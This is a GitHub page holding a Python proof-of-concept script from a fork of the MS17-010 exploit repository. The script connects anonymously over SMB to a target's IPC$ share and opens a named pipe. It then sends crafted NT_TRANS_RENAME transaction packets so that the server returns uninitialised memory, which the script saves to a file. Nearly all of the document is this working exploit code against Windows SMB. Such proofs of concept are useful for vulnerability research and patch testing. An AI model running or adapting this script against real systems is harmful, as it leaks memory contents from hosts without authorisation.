forked from worawit/MS17-010
-
Notifications
You must be signed in to change notification settings - Fork 125
/
infoleak_uninit.py
46 lines (34 loc) · 1.08 KB
/
infoleak_uninit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstates leaking information from uninitialize buffer
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
# create NT_TRANS_RENAME (5) request
mid = conn.next_mid()
conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A'*0x1000, totalDataCount=0x8000)
# send secondary to set data at displacement 0 to leave uninitialize data in InData
for i in range(7):
conn.send_nt_trans_secondary(mid, data='B'*0x1000)
data = conn.recv_transaction_data(mid, 0x8000)
# no write parameter
open('leak.dat', 'wb').write(data[4:])
print('All return data is written to leak.dat')
conn.close(tid, fid)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()